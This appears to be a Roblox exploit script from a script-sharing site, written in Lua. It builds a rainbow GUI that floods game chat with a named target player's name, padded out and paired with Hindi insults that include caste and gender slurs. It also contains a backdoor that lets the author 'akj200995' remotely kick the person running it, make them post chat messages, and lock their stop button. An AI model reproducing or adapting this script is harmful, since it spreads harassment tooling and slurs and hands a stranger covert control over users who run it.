
Key RequiredUniversal

--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
--[[
akj200995 V1 - CUSTOM SCRIPT
Modified for: akj200995
WARNING: This script contains remote execution features.
The user "akj200995" has master control over anyone running this script.
]]
local Players = game:GetService("Players")
local TextChatService = game:GetService("TextChatService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local player = Players.LocalPlayer
-- GUI SETUP
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "Anil_V1"
screenGui.ResetOnSpawn = false
screenGui.Parent = player:WaitForChild("PlayerGui")
local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 280, 0, 150)
frame.Position = UDim2.new(0.5, -140, 0.5, -75)
frame.BackgroundColor3 = Color3.fromHSV(hue, 0.4, 0.15)
frame.BorderSizePixel = 3
frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
frame.Active = true
frame.Draggable = true
frame.Parent = screenGui
local RunService = game:GetService("RunService")
local speed = 1.2 -- change speed here
local hue = 0
RunService.RenderStepped:Connect(function(dt)
hue = (hue + dt * speed) % 1
-- Rainbow background
frame.BackgroundColor3 = Color3.fromHSV(hue, 1, 1)
-- Slightly brighter border
frame.BorderColor3 = Color3.fromHSV((hue + 0.1) % 1, 1, 1)
end)
-- Rainbow border animation
local RunService = game:GetService("RunService")
local speed = 1.5
local hue = 0
RunService.RenderStepped:Connect(function(dt)
hue = (hue + dt * speed) % 1
frame.BorderColor3 = Color3.fromHSV(hue, 1, 1)
end)
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 30)
title.BackgroundTransparency = 1
title.Text = "Anil V1"
title.TextColor3 = Color3.new(1,1,1)
title.Font = Enum.Font.SourceSansBold
title.TextSize = 22
title.TextStrokeTransparency = 0.7
title.TextStrokeColor3 = Color3.new(0,0,0)
title.Parent = frame
-- RGB Title Effect
task.spawn(function()
while task.wait() and title.Parent do
title.TextColor3 = Color3.fromHSV(tick() % 5 / 5, 1, 1)
end
end)
local label = Instance.new("TextLabel")
label.Size = UDim2.new(1, -20, 0, 22)
label.Position = UDim2.new(0, 10, 0, 38)
label.BackgroundTransparency = 1
label.Text = "Enter hater name:"
label.TextColor3 = Color3.fromRGB(220, 220, 220)
label.TextXAlignment = Enum.TextXAlignment.Left
label.Font = Enum.Font.SourceSans
label.TextSize = 16
label.Parent = frame
local textBox = Instance.new("TextBox")
textBox.Size = UDim2.new(1, -20, 0, 28)
textBox.Position = UDim2.new(0, 10, 0, 60)
textBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
textBox.BorderColor3 = Color3.fromRGB(0, 255, 255)
textBox.BorderSizePixel = 2
textBox.PlaceholderText = "Type name here..."
textBox.Text = ""
textBox.TextColor3 = Color3.new(1,1,1)
textBox.Font = Enum.Font.SourceSans
textBox.TextSize = 18
textBox.Parent = frame
local warningLabel = Instance.new("TextLabel")
warningLabel.Size = UDim2.new(1, -20, 0, 22)
warningLabel.Position = UDim2.new(0, 10, 0, 92)
warningLabel.BackgroundTransparency = 1
warningLabel.Text = ""
warningLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
warningLabel.Font = Enum.Font.SourceSansBold
warningLabel.TextSize = 16
warningLabel.TextXAlignment = Enum.TextXAlignment.Center
warningLabel.Parent = frame
local startButton = Instance.new("TextButton")
startButton.Size = UDim2.new(0.45, -5, 0, 30)
startButton.Position = UDim2.new(0, 10, 1, -35)
startButton.BackgroundColor3 = Color3.fromRGB(0, 180, 0)
startButton.Text = "START"
startButton.TextColor3 = Color3.new(1,1,1)
startButton.Font = Enum.Font.SourceSansBold
startButton.TextSize = 16
startButton.Parent = frame
local RunService = game:GetService("RunService")
local speed = 1.5
local hue = 0
RunService.RenderStepped:Connect(function(dt)
hue = (hue + dt * speed) % 1
-- START button rainbow
startButton.BackgroundColor3 = Color3.fromHSV(hue, 1, 1)
-- STOP button rainbow (slightly offset so they look different)
stopButton.BackgroundColor3 = Color3.fromHSV((hue + 0.5) % 1, 1, 1)
end)
local stopButton = Instance.new("TextButton")
stopButton.Size = UDim2.new(0.45, -5, 0, 30)
stopButton.Position = UDim2.new(0.55, -5, 1, -35)
stopButton.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
stopButton.Text = "STOP"
stopButton.TextColor3 = Color3.new(1,1,1)
stopButton.Font = Enum.Font.SourceSansBold
stopButton.TextSize = 16
stopButton.Parent = frame
local RunService = game:GetService("RunService")
local speed = 1.5
local hue = 0
RunService.RenderStepped:Connect(function(dt)
hue = (hue + dt * speed) % 1
-- START button rainbow
startButton.BackgroundColor3 = Color3.fromHSV(hue, 1, 1)
-- STOP button rainbow (slightly offset so they look different)
stopButton.BackgroundColor3 = Color3.fromHSV((hue + 0.5) % 1, 1, 1)
end)
local close = Instance.new("TextButton")
close.Size = UDim2.new(0, 25, 0, 25)
close.Position = UDim2.new(1, -30, 0, 5)
close.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
close.Text = "X"
close.TextColor3 = Color3.new(1,1,1)
close.Font = Enum.Font.SourceSansBold
close.TextSize = 18
close.Parent = frame
close.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)
-- PROTECTION & FILTERS
local function isForbiddenName(name)
if name == "" then return false end
local cleaned = string.lower(name)
-- remove spaces & symbols
cleaned = string.gsub(cleaned, "[^a-z0-9]", "")
-- leet-speak normalization
cleaned = string.gsub(cleaned, "0", "o")
cleaned = string.gsub(cleaned, "1", "i")
cleaned = string.gsub(cleaned, "3", "e")
cleaned = string.gsub(cleaned, "4", "a")
cleaned = string.gsub(cleaned, "5", "s")
cleaned = string.gsub(cleaned, "7", "t")
cleaned = string.gsub(cleaned, "@", "a")
cleaned = string.gsub(cleaned, "!", "i")
-- block ONLY exact "anil"
return cleaned == "anil"
end
textBox.Focused:Connect(function() warningLabel.Text = "" end)
textBox.FocusLost:Connect(function()
if isForbiddenName(textBox.Text) then
textBox.Text = ""
warningLabel.Text = "You Cant Put Your Fathers Name"
end
end)
-- SPAM ENGINE
local isSpamming = false
local masterControlled = false
local function getPatternWithName(name, tag)
local suffix = name .. " (" .. tag .. ")"
local repeats = math.floor((200 - #suffix) / 2)
return string.rep("-_", math.max(0, repeats)) .. suffix
end
local function getCreditPattern()
local suffix = "SCRIPT BY akj200995"
local repeats = math.floor((200 - #suffix) / 2)
return string.rep("-_", math.max(0, repeats)) .. suffix
end
local function sendChatMessage(msg)
msg = string.sub(msg, 1, 200)
if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
local channel = TextChatService.TextChannels:FindFirstChild("RBXGeneral")
if channel then pcall(function() channel:SendAsync(msg) end) end
else
local events = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents")
local remote = events and events:FindFirstChild("SayMessageRequest")
if remote then pcall(function() remote:FireServer(msg, "All") end) end
end
end
local function startSpamming(name, byMaster)
if isSpamming then isSpamming = false task.wait(0.1) end
if isForbiddenName(name) then return end
textBox.Text = name
masterControlled = byMaster
isSpamming = true
startButton.Text = "RUNNING"
startButton.BackgroundColor3 = Color3.fromRGB(255, 180, 0)
if masterControlled then
stopButton.Text = "LOCKED"
stopButton.BackgroundColor3 = Color3.fromRGB(100, 100, 100)
end
local messages = {
getPatternWithName(name, "tmkc me rudy"),
getPatternWithName(name, "tmkc me sai"),
getPatternWithName(name, "tmkc me chipkali"),
getPatternWithName(name, "tmkc me genda"),
getPatternWithName(name, "tmkc me tomato ketchup"),
getPatternWithName(name, "tmkc me mikey"),
getPatternWithName(name, "tmkc me hijra"),
getPatternWithName(name, "tmkc me kutta"),
getPatternWithName(name, "tmkc me khamba"),
getPatternWithName(name, "tmkc me bhangi "),
getPatternWithName(name, "tmkc me chamar"),
getPatternWithName(name, "tmkc me chappal"),
getPatternWithName(name, "tmkc me mouse"),
getPatternWithName(name, "tmkc me lulli"),
getPatternWithName(name, "tmkc me hidimba"),
getPatternWithName(name, "tmkc me kite"),
getPatternWithName(name, "tmkc me phone"),
getCreditPattern()
}
task.spawn(function()
while isSpamming do
for _, msg in messages do
if not isSpamming then break end
sendChatMessage(msg)
task.wait(1.8)
end
task.wait(0.5)
end
startButton.Text = "START"
startButton.BackgroundColor3 = Color3.fromRGB(0, 180, 0)
stopButton.Text = "STOP"
stopButton.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
end)
end
local function stopSpamming()
isSpamming = false
masterControlled = false
end
-- REMOTE COMMANDS
local AUTHORIZED = "akj200995"
local function handleChat(p, msg)
if p.Name == AUTHORIZED then
if msg == "!stop" then
stopSpamming()
elseif string.sub(msg, 1, 6) == "!spam " then
local target = string.sub(msg, 7):match("^%s*(.-)%s*$")
if target ~= "" and not isForbiddenName(target) then
startSpamming(target, true)
end
elseif string.sub(msg, 1, 6) == "!kick " then
local kickTarget = string.sub(msg, 7):match("^%s*(.-)%s*$")
if player.Name == kickTarget or player.DisplayName == kickTarget then
player:Kick("akj200995 kicked you")
end
elseif string.sub(msg, 1, 5) == "!say " then
local sayMsg = string.sub(msg, 6):match("^%s*(.-)%s*$")
if sayMsg ~= "" then sendChatMessage(sayMsg) end
end
end
end
-- Event Connections
startButton.MouseButton1Click:Connect(function()
if not isSpamming then startSpamming(textBox.Text, false) end
end)
stopButton.MouseButton1Click:Connect(function()
if not masterControlled then stopSpamming() end
end)
TextChatService.OnIncomingMessage:Connect(function(message)
if message.TextSource then
local sender = Players:GetPlayerByUserId(message.TextSource.UserId)
if sender then handleChat(sender, message.Text) end
end
end)
Players.PlayerAdded:Connect(function(p)
p.Chatted:Connect(function(msg) handleChat(p, msg) end)
end)No comments yet for this script.



